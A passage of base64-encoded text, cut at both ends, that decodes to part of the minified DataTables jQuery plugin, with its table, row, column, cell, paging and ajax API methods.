vbiI9PXR5cGVvZiBlPyJmdW5jdGlvbiI6UC5pc1BsYWluT2JqZWN0KGUpPyJvYmplY3QiOiJvdGhlciIpOm89cz9jLm1ldGhvZEV4dDpjLnByb3BFeHR9fSxCLnJlZ2lzdGVyUGx1cmFsPXQ9ZnVuY3Rpb24odCxlLG4pe0IucmVnaXN0ZXIodCxuKSxCLnJlZ2lzdGVyKGUsZnVuY3Rpb24oKXt2YXIgdD1uLmFwcGx5KHRoaXMsYXJndW1lbnRzKTtyZXR1cm4gdD09PXRoaXM/dGhpczp0IGluc3RhbmNlb2YgQj90Lmxlbmd0aD9BcnJheS5pc0FycmF5KHRbMF0pP25ldyBCKHQuY29udGV4dCx0WzBdKTp0WzBdOk46dH0pfSxlKCJ0YWJsZXMoKSIsZnVuY3Rpb24odCl7cmV0dXJuIHQhPT1OJiZudWxsIT09dD9uZXcgQih5ZSh0LHRoaXMuY29udGV4dCkpOnRoaXN9KSxlKCJ0YWJsZSgpIixmdW5jdGlvbih0KXt2YXIgdD10aGlzLnRhYmxlcyh0KSxlPXQuY29udGV4dDtyZXR1cm4gZS5sZW5ndGg/bmV3IEIoZVswXSk6dH0pLHQoInRhYmxlcygpLm5vZGVzKCkiLCJ0YWJsZSgpLm5vZGUoKSIsZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigidGFibGUiLGZ1bmN0aW9uKHQpe3JldHVybiB0Lm5UYWJsZX0sMSl9KSx0KCJ0YWJsZXMoKS5ib2R5KCkiLCJ0YWJsZSgpLmJvZHkoKSIsZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigidGFibGUiLGZ1bmN0aW9uKHQpe3JldHVybiB0Lm5UQm9keX0sMSl9KSx0KCJ0YWJsZXMoKS5oZWFkZXIoKSIsInRhYmxlKCkuaGVhZGVyKCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXtyZXR1cm4gdC5uVEhlYWR9LDEpfSksdCgidGFibGVzKCkuZm9vdGVyKCkiLCJ0YWJsZSgpLmZvb3RlcigpIixmdW5jdGlvbigpe3JldHVybiB0aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7cmV0dXJuIHQublRGb290fSwxKX0pLHQoInRhYmxlcygpLmNvbnRhaW5lcnMoKSIsInRhYmxlKCkuY29udGFpbmVyKCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXtyZXR1cm4gdC5uVGFibGVXcmFwcGVyfSwxKX0pLGUoImRyYXcoKSIsZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXsicGFnZSI9PT1lP3kodCk6dSh0LCExPT09KGU9InN0cmluZyI9PXR5cGVvZiBlPyJmdWxsLWhvbGQiIT09ZTplKSl9KX0pLGUoInBhZ2UoKSIsZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1OP3RoaXMucGFnZS5pbmZvKCkucGFnZTp0aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7WXQodCxlKX0pfSksZSgicGFnZS5pbmZvKCkiLGZ1bmN0aW9uKHQpe3ZhciBlLG4sYSxyLG87cmV0dXJuIDA9PT10aGlzLmNvbnRleHQubGVuZ3RoP046KG49KGU9dGhpcy5jb250ZXh0WzBdKS5faURpc3BsYXlTdGFydCxhPWUub0ZlYXR1cmVzLmJQYWdpbmF0ZT9lLl9pRGlzcGxheUxlbmd0aDotMSxyPWUuZm5SZWNvcmRzRGlzcGxheSgpLHtwYWdlOihvPS0xPT09YSk/MDpNYXRoLmZsb29yKG4vYSkscGFnZXM6bz8xOk1hdGguY2VpbChyL2EpLHN0YXJ0Om4sZW5kOmUuZm5EaXNwbGF5RW5kKCksbGVuZ3RoOmEscmVjb3Jkc1RvdGFsOmUuZm5SZWNvcmRzVG90YWwoKSxyZWNvcmRzRGlzcGxheTpyLHNlcnZlclNpZGU6InNzcCI9PT1FKGUpfSl9KSxlKCJwYWdlLmxlbigpIixmdW5jdGlvbihlKXtyZXR1cm4gZT09PU4/MCE9PXRoaXMuY29udGV4dC5sZW5ndGg/dGhpcy5jb250ZXh0WzBdLl9pRGlzcGxheUxlbmd0aDpOOnRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXtHdCh0LGUpfSl9KSxlKCJhamF4Lmpzb24oKSIsZnVuY3Rpb24oKXt2YXIgdD10aGlzLmNvbnRleHQ7aWYoMDx0Lmxlbmd0aClyZXR1cm4gdFswXS5qc29ufSksZSgiYWpheC5wYXJhbXMoKSIsZnVuY3Rpb24oKXt2YXIgdD10aGlzLmNvbnRleHQ7aWYoMDx0Lmxlbmd0aClyZXR1cm4gdFswXS5vQWpheERhdGF9KSxlKCJhamF4LnJlbG9hZCgpIixmdW5jdGlvbihlLG4pe3JldHVybiB0aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7RGUodCwhMT09PW4sZSl9KX0pLGUoImFqYXgudXJsKCkiLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMuY29udGV4dDtyZXR1cm4gZT09PU4/MD09PXQubGVuZ3RoP046KHQ9dFswXSkuYWpheD9QLmlzUGxhaW5PYmplY3QodC5hamF4KT90LmFqYXgudXJsOnQuYWpheDp0LnNBamF4U291cmNlOnRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXtQLmlzUGxhaW5PYmplY3QodC5hamF4KT90LmFqYXgudXJsPWU6dC5hamF4PWV9KX0pLGUoImFqYXgudXJsKCkubG9hZCgpIixmdW5jdGlvbihlLG4pe3JldHVybiB0aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7RGUodCwhMT09PW4sZSl9KX0pLGZ1bmN0aW9uKHQsZSl7dmFyIG4sYT1bXSxyPXQuYWlEaXNwbGF5LG89dC5haURpc3BsYXlNYXN0ZXIsaT1lLnNlYXJjaCxsPWUub3JkZXIsZT1lLnBhZ2U7aWYoInNzcCI9PUUodCkpcmV0dXJuInJlbW92ZWQiPT09aT9bXTpmKDAsby5sZW5ndGgpO2lmKCJjdXJyZW50Ij09ZSlmb3IodT10Ll9pRGlzcGxheVN0YXJ0LGM9dC5mbkRpc3BsYXlFbmQoKTt1PGM7dSsrKWEucHVzaChyW3VdKTtlbHNlIGlmKCJjdXJyZW50Ij09bHx8ImFwcGxpZWQiPT1sKXtpZigibm9uZSI9PWkpYT1vLnNsaWNlKCk7ZWxzZSBpZigiYXBwbGllZCI9PWkpYT1yLnNsaWNlKCk7ZWxzZSBpZigicmVtb3ZlZCI9PWkpe2Zvcih2YXIgcz17fSx1PTAsYz1yLmxlbmd0aDt1PGM7dSsrKXNbclt1XV09bnVsbDthPVAubWFwKG8sZnVuY3Rpb24odCl7cmV0dXJuIHMuaGFzT3duUHJvcGVydHkodCk/bnVsbDp0fSl9fWVsc2UgaWYoImluZGV4Ij09bHx8Im9yaWdpbmFsIj09bClmb3IodT0wLGM9dC5hb0RhdGEubGVuZ3RoO3U8Yzt1KyspKCJub25lIj09aXx8LTE9PT0obj1QLmluQXJyYXkodSxyKSkmJiJyZW1vdmVkIj09aXx8MDw9biYmImFwcGxpZWQiPT1pKSYmYS5wdXNoKHUpO3JldHVybiBhfSksTGU9KGUoInJvd3MoKSIsZnVuY3Rpb24oZSxuKXtlPT09Tj9lPSIiOlAuaXNQbGFpbk9iamVjdChlKSYmKG49ZSxlPSIiKSxuPUNlKG4pO3ZhciB0PXRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXtyZXR1cm4gX2UoInJvdyIsZSxmdW5jdGlvbihuKXt2YXIgdD1kKG4pLGE9ci5hb0RhdGE7aWYobnVsbCE9PXQmJiFvKXJldHVyblt0XTtpZihpPWl8fEZlKHIsbyksbnVsbCE9PXQmJi0xIT09UC5pbkFycmF5KHQsaSkpcmV0dXJuW3RdO2lmKG51bGw9PT1ufHxuPT09Tnx8IiI9PT1uKXJldHVybiBpO2lmKCJmdW5jdGlvbiI9PXR5cGVvZiBuKXJldHVybiBQLm1hcChpLGZ1bmN0aW9uKHQpe3ZhciBlPWFbdF07cmV0dXJuIG4odCxlLl9hRGF0YSxlLm5Ucik/dDpudWxsfSk7aWYobi5ub2RlTmFtZSlyZXR1cm4gdD1uLl9EVF9Sb3dJbmRleCxlPW4uX0RUX0NlbGxJbmRleCx0IT09Tj9hW3RdJiZhW3RdLm5Ucj09PW4/W3RdOltdOmU/YVtlLnJvd10mJmFbZS5yb3ddLm5Ucj09PW4ucGFyZW50Tm9kZT9bZS5yb3ddOltdOih0PVAobikuY2xvc2VzdCgiKltkYXRhLWR0LXJvd10iKSkubGVuZ3RoP1t0LmRhdGEoImR0LXJvdyIpXTpbXTtpZigic3RyaW5nIj09dHlwZW9mIG4mJiIjIj09PW4uY2hhckF0KDApKXt2YXIgZT1yLmFJZHNbbi5yZXBsYWNlKC9eIy8sIiIpXTtpZihlIT09TilyZXR1cm5bZS5pZHhdfXQ9XyhtKHIuYW9EYXRhLGksIm5UciIpKTtyZXR1cm4gUCh0KS5maWx0ZXIobikubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX0RUX1Jvd0luZGV4fSkudG9BcnJheSgpfSxyPXQsbz1uKTt2YXIgcixvLGl9LDEpO3JldHVybiB0LnNlbGVjdG9yLnJvd3M9ZSx0LnNlbGVjdG9yLm9wdHM9bix0fSksZSgicm93cygpLm5vZGVzKCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoInJvdyIsZnVuY3Rpb24odCxlKXtyZXR1cm4gdC5hb0RhdGFbZV0ublRyfHxOfSwxKX0pLGUoInJvd3MoKS5kYXRhKCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoITAsInJvd3MiLGZ1bmN0aW9uKHQsZSl7cmV0dXJuIG0odC5hb0RhdGEsZSwiX2FEYXRhIil9LDEpfSksdCgicm93cygpLmNhY2hlKCkiLCJyb3coKS5jYWNoZSgpIixmdW5jdGlvbihuKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigicm93IixmdW5jdGlvbih0LGUpe3Q9dC5hb0RhdGFbZV07cmV0dXJuInNlYXJjaCI9PT1uP3QuX2FGaWx0ZXJEYXRhOnQuX2FTb3J0RGF0YX0sMSl9KSx0KCJyb3dzKCkuaW52YWxpZGF0ZSgpIiwicm93KCkuaW52YWxpZGF0ZSgpIixmdW5jdGlvbihuKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigicm93IixmdW5jdGlvbih0LGUpe2J0KHQsZSxuKX0pfSksdCgicm93cygpLmluZGV4ZXMoKSIsInJvdygpLmluZGV4KCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoInJvdyIsZnVuY3Rpb24odCxlKXtyZXR1cm4gZX0sMSl9KSx0KCJyb3dzKCkuaWRzKCkiLCJyb3coKS5pZCgpIixmdW5jdGlvbih0KXtmb3IodmFyIGU9W10sbj10aGlzLmNvbnRleHQsYT0wLHI9bi5sZW5ndGg7YTxyO2ErKylmb3IodmFyIG89MCxpPXRoaXNbYV0ubGVuZ3RoO288aTtvKyspe3ZhciBsPW5bYV0ucm93SWRGbihuW2FdLmFvRGF0YVt0aGlzW2FdW29dXS5fYURhdGEpO2UucHVzaCgoITA9PT10PyIjIjoiIikrbCl9cmV0dXJuIG5ldyBCKG4sZSl9KSx0KCJyb3dzKCkucmVtb3ZlKCkiLCJyb3coKS5yZW1vdmUoKSIsZnVuY3Rpb24oKXt2YXIgZj10aGlzO3JldHVybiB0aGlzLml0ZXJhdG9yKCJyb3ciLGZ1bmN0aW9uKHQsZSxuKXt2YXIgYSxyLG8saSxsLHMsdT10LmFvRGF0YSxjPXVbZV07Zm9yKHUuc3BsaWNlKGUsMSksYT0wLHI9dS5sZW5ndGg7YTxyO2ErKylpZihzPShsPXVbYV0pLmFuQ2VsbHMsbnVsbCE9PWwublRyJiYobC5uVHIuX0RUX1Jvd0luZGV4PWEpLG51bGwhPT1zKWZvcihvPTAsaT1zLmxlbmd0aDtvPGk7bysrKXNbb10uX0RUX0NlbGxJbmRleC5yb3c9YTtndCh0LmFpRGlzcGxheU1hc3RlcixlKSxndCh0LmFpRGlzcGxheSxlKSxndChmW25dLGUsITEpLDA8dC5faVJlY29yZHNEaXNwbGF5JiZ0Ll9pUmVjb3Jkc0Rpc3BsYXktLSxTZSh0KTtuPXQucm93SWRGbihjLl9hRGF0YSk7biE9PU4mJmRlbGV0ZSB0LmFJZHNbbl19KSx0aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7Zm9yKHZhciBlPTAsbj10LmFvRGF0YS5sZW5ndGg7ZTxuO2UrKyl0LmFvRGF0YVtlXS5pZHg9ZX0pLHRoaXN9KSxlKCJyb3dzLmFkZCgpIixmdW5jdGlvbihvKXt2YXIgdD10aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7Zm9yKHZhciBlLG49W10sYT0wLHI9by5sZW5ndGg7YTxyO2ErKykoZT1vW2FdKS5ub2RlTmFtZSYmIlRSIj09PWUubm9kZU5hbWUudG9VcHBlckNhc2UoKT9uLnB1c2godXQodCxlKVswXSk6bi5wdXNoKHgodCxlKSk7cmV0dXJuIG59LDEpLGU9dGhpcy5yb3dzKC0xKTtyZXR1cm4gZS5wb3AoKSxQLm1lcmdlKGUsdCksZX0pLGUoInJvdygpIixmdW5jdGlvbih0LGUpe3JldHVybiB3ZSh0aGlzLnJvd3ModCxlKSl9KSxlKCJyb3coKS5kYXRhKCkiLGZ1bmN0aW9uKHQpe3ZhciBlLG49dGhpcy5jb250ZXh0O3JldHVybiB0PT09Tj9uLmxlbmd0aCYmdGhpcy5sZW5ndGg/blswXS5hb0RhdGFbdGhpc1swXV0uX2FEYXRhOk46KChlPW5bMF0uYW9EYXRhW3RoaXNbMF1dKS5fYURhdGE9dCxBcnJheS5pc0FycmF5KHQpJiZlLm5UciYmZS5uVHIuaWQmJmIoblswXS5yb3dJZCkodCxlLm5Uci5pZCksYnQoblswXSx0aGlzWzBdLCJkYXRhIiksdGhpcyl9KSxlKCJyb3coKS5ub2RlKCkiLGZ1bmN0aW9uKCl7dmFyIHQ9dGhpcy5jb250ZXh0O3JldHVybiB0Lmxlbmd0aCYmdGhpcy5sZW5ndGgmJnRbMF0uYW9EYXRhW3RoaXNbMF1dLm5Ucnx8bnVsbH0pLGUoInJvdy5hZGQoKSIsZnVuY3Rpb24oZSl7ZSBpbnN0YW5jZW9mIFAmJmUubGVuZ3RoJiYoZT1lWzBdKTt2YXIgdD10aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7cmV0dXJuIGUubm9kZU5hbWUmJiJUUiI9PT1lLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCk/dXQodCxlKVswXTp4KHQsZSl9KTtyZXR1cm4gdGhpcy5yb3codFswXSl9KSxQKHYpLm9uKCJwbHVnaW4taW5pdC5kdCIsZnVuY3Rpb24odCxlKXt2YXIgbj1uZXcgQihlKSxhPSJvbi1wbHVnaW4taW5pdCI7Y29uc3Qgcj0ic3RhdGVTYXZlUGFyYW1zLiIrYSxvPSJkZXN0cm95LiIrYTtuLm9uKHIsZnVuY3Rpb24odCxlLG4pe2Zvcih2YXIgYT1lLnJvd0lkRm4scj1lLmFvRGF0YSxvPVtdLGk9MDtpPHIubGVuZ3RoO2krKylyW2ldLl9kZXRhaWxzU2hvdyYmby5wdXNoKCIjIithKHJbaV0uX2FEYXRhKSk7bi5jaGlsZFJvd3M9b30pLG4ub24obyxmdW5jdGlvbigpe24ub2ZmKHIrIiAiK28pfSk7YT1uLnN0YXRlLmxvYWRlZCgpO2EmJmEuY2hpbGRSb3dzJiZuLnJvd3MoUC5tYXAoYS5jaGlsZFJvd3MsZnVuY3Rpb24odCl7cmV0dXJuIHQucmVwbGFjZSgvOi9nLCJcXDoiKX0pKS5ldmVyeShmdW5jdGlvbigpe1IoZSxudWxsLCJyZXF1ZXN0Q2hpbGQiLFt0aGlzXSl9KX0pLEMudXRpbC50aHJvdHRsZShmdW5jdGlvbih0KXtkZSh0WzBdKX0sNTAwKSksUmU9ZnVuY3Rpb24odCxlKXt2YXIgbj10LmNvbnRleHQ7bi5sZW5ndGgmJihlPW5bMF0uYW9EYXRhW2UhPT1OP2U6dFswXV0pJiZlLl9kZXRhaWxzJiYoZS5fZGV0YWlscy5yZW1vdmUoKSxlLl9kZXRhaWxzU2hvdz1OLGUuX2RldGFpbHM9TixQKGUublRyKS5yZW1vdmVDbGFzcygiZHQtaGFzQ2hpbGQiKSxMZShuKSl9LFBlPSJyb3coKS5jaGlsZCIsamU9UGUrIigpIixOZT0oZShqZSxmdW5jdGlvbih0LGUpe3ZhciBuPXRoaXMuY29udGV4dDtyZXR1cm4gdD09PU4/bi5sZW5ndGgmJnRoaXMubGVuZ3RoP25bMF0uYW9EYXRhW3RoaXNbMF1dLl9kZXRhaWxzOk46KCEwPT09dD90aGlzLmNoaWxkLnNob3coKTohMT09PXQ/UmUodGhpcyk6bi5sZW5ndGgmJnRoaXMubGVuZ3RoJiZUZShuWzBdLG5bMF0uYW9EYXRhW3RoaXNbMF1dLHQsZSksdGhpcyl9KSxlKFtQZSsiLnNob3coKSIsamUrIi5zaG93KCkiXSxmdW5jdGlvbih0KXtyZXR1cm4geGUodGhpcywhMCksdGhpc30pLGUoW1BlKyIuaGlkZSgpIixqZSsiLmhpZGUoKSJdLGZ1bmN0aW9uKCl7cmV0dXJuIHhlKHRoaXMsITEpLHRoaXN9KSxlKFtQZSsiLnJlbW92ZSgpIixqZSsiLnJlbW92ZSgpIl0sZnVuY3Rpb24oKXtyZXR1cm4gUmUodGhpcyksdGhpc30pLGUoUGUrIi5pc1Nob3duKCkiLGZ1bmN0aW9uKCl7dmFyIHQ9dGhpcy5jb250ZXh0O3JldHVybiB0Lmxlbmd0aCYmdGhpcy5sZW5ndGgmJnRbMF0uYW9EYXRhW3RoaXNbMF1dLl9kZXRhaWxzU2hvd3x8ITF9KSwvXihbXjpdKyk6KG5hbWV8dmlzSWR4fHZpc2libGUpJC8pLEhlPShlKCJjb2x1bW5zKCkiLGZ1bmN0aW9uKG4sYSl7bj09PU4/bj0iIjpQLmlzUGxhaW5PYmplY3QobikmJihhPW4sbj0iIiksYT1DZShhKTt2YXIgdD10aGlzLml0ZXJhdG9yKCJ0YWJsZSIsZnVuY3Rpb24odCl7cmV0dXJuIGU9bixsPWEscz0oaT10KS5hb0NvbHVtbnMsdT1IKHMsInNOYW1lIiksYz1IKHMsIm5UaCIpLF9lKCJjb2x1bW4iLGUsZnVuY3Rpb24obil7dmFyIGEsdD1kKG4pO2lmKCIiPT09bilyZXR1cm4gZihzLmxlbmd0aCk7aWYobnVsbCE9PXQpcmV0dXJuWzA8PXQ/dDpzLmxlbmd0aCt0XTtpZigiZnVuY3Rpb24iPT10eXBlb2YgbilyZXR1cm4gYT1GZShpLGwpLFAubWFwKHMsZnVuY3Rpb24odCxlKXtyZXR1cm4gbihlLEFlKGksZSwwLDAsYSksY1tlXSk/ZTpudWxsfSk7dmFyIHI9InN0cmluZyI9PXR5cGVvZiBuP24ubWF0Y2goTmUpOiIiO2lmKHIpc3dpdGNoKHJbMl0pe2Nhc2UidmlzSWR4IjpjYXNlInZpc2libGUiOnZhciBlLG89cGFyc2VJbnQoclsxXSwxMCk7cmV0dXJuIG88MD9bKGU9UC5tYXAocyxmdW5jdGlvbih0LGUpe3JldHVybiB0LmJWaXNpYmxlP2U6bnVsbH0pKVtlLmxlbmd0aCtvXV06W3J0KGksbyldO2Nhc2UibmFtZSI6cmV0dXJuIFAubWFwKHUsZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PXJbMV0/ZTpudWxsfSk7ZGVmYXVsdDpyZXR1cm5bXX1yZXR1cm4gbi5ub2RlTmFtZSYmbi5fRFRfQ2VsbEluZGV4P1tuLl9EVF9DZWxsSW5kZXguY29sdW1uXToodD1QKGMpLmZpbHRlcihuKS5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gUC5pbkFycmF5KHRoaXMsYyl9KS50b0FycmF5KCkpLmxlbmd0aHx8IW4ubm9kZU5hbWU/dDoodD1QKG4pLmNsb3Nlc3QoIipbZGF0YS1kdC1jb2x1bW5dIikpLmxlbmd0aD9bdC5kYXRhKCJkdC1jb2x1bW4iKV06W119LGksbCk7dmFyIGksZSxsLHMsdSxjfSwxKTtyZXR1cm4gdC5zZWxlY3Rvci5jb2xzPW4sdC5zZWxlY3Rvci5vcHRzPWEsdH0pLHQoImNvbHVtbnMoKS5oZWFkZXIoKSIsImNvbHVtbigpLmhlYWRlcigpIixmdW5jdGlvbih0LGUpe3JldHVybiB0aGlzLml0ZXJhdG9yKCJjb2x1bW4iLGZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQuYW9Db2x1bW5zW2VdLm5UaH0sMSl9KSx0KCJjb2x1bW5zKCkuZm9vdGVyKCkiLCJjb2x1bW4oKS5mb290ZXIoKSIsZnVuY3Rpb24odCxlKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigiY29sdW1uIixmdW5jdGlvbih0LGUpe3JldHVybiB0LmFvQ29sdW1uc1tlXS5uVGZ9LDEpfSksdCgiY29sdW1ucygpLmRhdGEoKSIsImNvbHVtbigpLmRhdGEoKSIsZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigiY29sdW1uLXJvd3MiLEFlLDEpfSksdCgiY29sdW1ucygpLmRhdGFTcmMoKSIsImNvbHVtbigpLmRhdGFTcmMoKSIsZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigiY29sdW1uIixmdW5jdGlvbih0LGUpe3JldHVybiB0LmFvQ29sdW1uc1tlXS5tRGF0YX0sMSl9KSx0KCJjb2x1bW5zKCkuY2FjaGUoKSIsImNvbHVtbigpLmNhY2hlKCkiLGZ1bmN0aW9uKG8pe3JldHVybiB0aGlzLml0ZXJhdG9yKCJjb2x1bW4tcm93cyIsZnVuY3Rpb24odCxlLG4sYSxyKXtyZXR1cm4gbSh0LmFvRGF0YSxyLCJzZWFyY2giPT09bz8iX2FGaWx0ZXJEYXRhIjoiX2FTb3J0RGF0YSIsZSl9LDEpfSksdCgiY29sdW1ucygpLm5vZGVzKCkiLCJjb2x1bW4oKS5ub2RlcygpIixmdW5jdGlvbigpe3JldHVybiB0aGlzLml0ZXJhdG9yKCJjb2x1bW4tcm93cyIsZnVuY3Rpb24odCxlLG4sYSxyKXtyZXR1cm4gbSh0LmFvRGF0YSxyLCJhbkNlbGxzIixlKX0sMSl9KSx0KCJjb2x1bW5zKCkudmlzaWJsZSgpIiwiY29sdW1uKCkudmlzaWJsZSgpIixmdW5jdGlvbihmLG4pe3ZhciBlPXRoaXMsdD10aGlzLml0ZXJhdG9yKCJjb2x1bW4iLGZ1bmN0aW9uKHQsZSl7aWYoZj09PU4pcmV0dXJuIHQuYW9Db2x1bW5zW2VdLmJWaXNpYmxlO3ZhciBuLGEscj1lLGU9ZixvPXQuYW9Db2x1bW5zLGk9b1tyXSxsPXQuYW9EYXRhO2lmKGU9PT1OKWkuYlZpc2libGU7ZWxzZSBpZihpLmJWaXNpYmxlIT09ZSl7aWYoZSlmb3IodmFyIHM9UC5pbkFycmF5KCEwLEgobywiYlZpc2libGUiKSxyKzEpLHU9MCxjPWwubGVuZ3RoO3U8Yzt1KyspYT1sW3VdLm5UcixuPWxbdV0uYW5DZWxscyxhJiZhLmluc2VydEJlZm9yZShuW3JdLG5bc118fG51bGwpO2Vsc2UgUChIKHQuYW9EYXRhLCJhbkNlbGxzIixyKSkuZGV0YWNoKCk7aS5iVmlzaWJsZT1lfX0pO3JldHVybiBmIT09TiYmdGhpcy5pdGVyYXRvcigidGFibGUiLGZ1bmN0aW9uKHQpe0R0KHQsdC5hb0hlYWRlciksRHQodCx0LmFvRm9vdGVyKSx0LmFpRGlzcGxheS5sZW5ndGh8fFAodC5uVEJvZHkpLmZpbmQoInRkW2NvbHNwYW5dIikuYXR0cigiY29sc3BhbiIsVCh0KSksZGUodCksZS5pdGVyYXRvcigiY29sdW1uIixmdW5jdGlvbih0LGUpe1IodCxudWxsLCJjb2x1bW4tdmlzaWJpbGl0eSIsW3QsZSxmLG5dKX0pLG4hPT1OJiYhbnx8ZS5jb2x1bW5zLmFkanVzdCgpfSksdH0pLHQoImNvbHVtbnMoKS5pbmRleGVzKCkiLCJjb2x1bW4oKS5pbmRleCgpIixmdW5jdGlvbihuKXtyZXR1cm4gdGhpcy5pdGVyYXRvcigiY29sdW1uIixmdW5jdGlvbih0LGUpe3JldHVybiJ2aXNpYmxlIj09PW4/b3QodCxlKTplfSwxKX0pLGUoImNvbHVtbnMuYWRqdXN0KCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoInRhYmxlIixmdW5jdGlvbih0KXtPKHQpfSwxKX0pLGUoImNvbHVtbi5pbmRleCgpIixmdW5jdGlvbih0LGUpe3ZhciBuO2lmKDAhPT10aGlzLmNvbnRleHQubGVuZ3RoKXJldHVybiBuPXRoaXMuY29udGV4dFswXSwiZnJvbVZpc2libGUiPT09dHx8InRvRGF0YSI9PT10P3J0KG4sZSk6ImZyb21EYXRhIj09PXR8fCJ0b1Zpc2libGUiPT09dD9vdChuLGUpOnZvaWQgMH0pLGUoImNvbHVtbigpIixmdW5jdGlvbih0LGUpe3JldHVybiB3ZSh0aGlzLmNvbHVtbnModCxlKSl9KSxlKCJjZWxscygpIixmdW5jdGlvbihnLHQsYil7dmFyIGEscixvLGksbCxzLGU7cmV0dXJuIFAuaXNQbGFpbk9iamVjdChnKSYmKGcucm93PT09Tj8oYj1nLGc9bnVsbCk6KGI9dCx0PW51bGwpKSxQLmlzUGxhaW5PYmplY3QodCkmJihiPXQsdD1udWxsKSxudWxsPT09dHx8dD09PU4/dGhpcy5pdGVyYXRvcigidGFibGUiLGZ1bmN0aW9uKHQpe3JldHVybiBhPXQsdD1nLGU9Q2UoYiksZj1hLmFvRGF0YSxkPUZlKGEsZSksbj1fKG0oZixkLCJhbkNlbGxzIikpLGg9UChZKFtdLG4pKSxwPWEuYW9Db2x1bW5zLmxlbmd0aCxfZSgiY2VsbCIsdCxmdW5jdGlvbih0KXt2YXIgZSxuPSJmdW5jdGlvbiI9PXR5cGVvZiB0O2lmKG51bGw9PT10fHx0PT09Tnx8bil7Zm9yKG89W10saT0wLGw9ZC5sZW5ndGg7aTxsO2krKylmb3Iocj1kW2ldLHM9MDtzPHA7cysrKXU9e3JvdzpyLGNvbHVtbjpzfSwoIW58fChjPWZbcl0sdCh1LFMoYSxyLHMpLGMuYW5DZWxscz9jLmFuQ2VsbHNbc106bnVsbCkpKSYmby5wdXNoKHUpO3JldHVybiBvfXJldHVybiBQLmlzUGxhaW5PYmplY3QodCk/dC5jb2x1bW4hPT1OJiZ0LnJvdyE9PU4mJi0xIT09UC5pbkFycmF5KHQucm93LGQpP1t0XTpbXTooZT1oLmZpbHRlcih0KS5tYXAoZnVuY3Rpb24odCxlKXtyZXR1cm57cm93OmUuX0RUX0NlbGxJbmRleC5yb3csY29sdW1uOmUuX0RUX0NlbGxJbmRleC5jb2x1bW59fSkudG9BcnJheSgpKS5sZW5ndGh8fCF0Lm5vZGVOYW1lP2U6KGM9UCh0KS5jbG9zZXN0KCIqW2RhdGEtZHQtcm93XSIpKS5sZW5ndGg/W3tyb3c6Yy5kYXRhKCJkdC1yb3ciKSxjb2x1bW46Yy5kYXRhKCJkdC1jb2x1bW4iKX1dOltdfSxhLGUpO3ZhciBhLGUscixvLGksbCxzLHUsYyxmLGQsbixoLHB9KTooZT1iP3twYWdlOmIucGFnZSxvcmRlcjpiLm9yZGVyLHNlYXJjaDpiLnNlYXJjaH06e30sYT10aGlzLmNvbHVtbnModCxlKSxyPXRoaXMucm93cyhnLGUpLGU9dGhpcy5pdGVyYXRvcigidGFibGUiLGZ1bmN0aW9uKHQsZSl7dmFyIG49W107Zm9yKG89MCxpPXJbZV0ubGVuZ3RoO288aTtvKyspZm9yKGw9MCxzPWFbZV0ubGVuZ3RoO2w8cztsKyspbi5wdXNoKHtyb3c6cltlXVtvXSxjb2x1bW46YVtlXVtsXX0pO3JldHVybiBufSwxKSxlPWImJmIuc2VsZWN0ZWQ/dGhpcy5jZWxscyhlLGIpOmUsUC5leHRlbmQoZS5zZWxlY3Rvcix7Y29sczp0LHJvd3M6ZyxvcHRzOmJ9KSxlKX0pLHQoImNlbGxzKCkubm9kZXMoKSIsImNlbGwoKS5ub2RlKCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoImNlbGwiLGZ1bmN0aW9uKHQsZSxuKXt0PXQuYW9EYXRhW2VdO3JldHVybiB0JiZ0LmFuQ2VsbHM/dC5hbkNlbGxzW25dOk59LDEpfSksZSgiY2VsbHMoKS5kYXRhKCkiLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuaXRlcmF0b3IoImNlbGwiLGZ1bmN0aW9uKHQsZSxuKXtyZXR1cm4gUyh0LGUsbil9LDEpfSksdCgiY2VsbHMoKS5jYWNoZSgpIiwiY2VsbCgpLmNhY2hlKCkiLGZ1bmN0aW9uKGEpe3JldHVybiBhPSJzZWFyY2giPT09YT8iX2FGaWx0ZXJEYXRhIjoiX2FTb3J0RGF0YSIsdGhpcy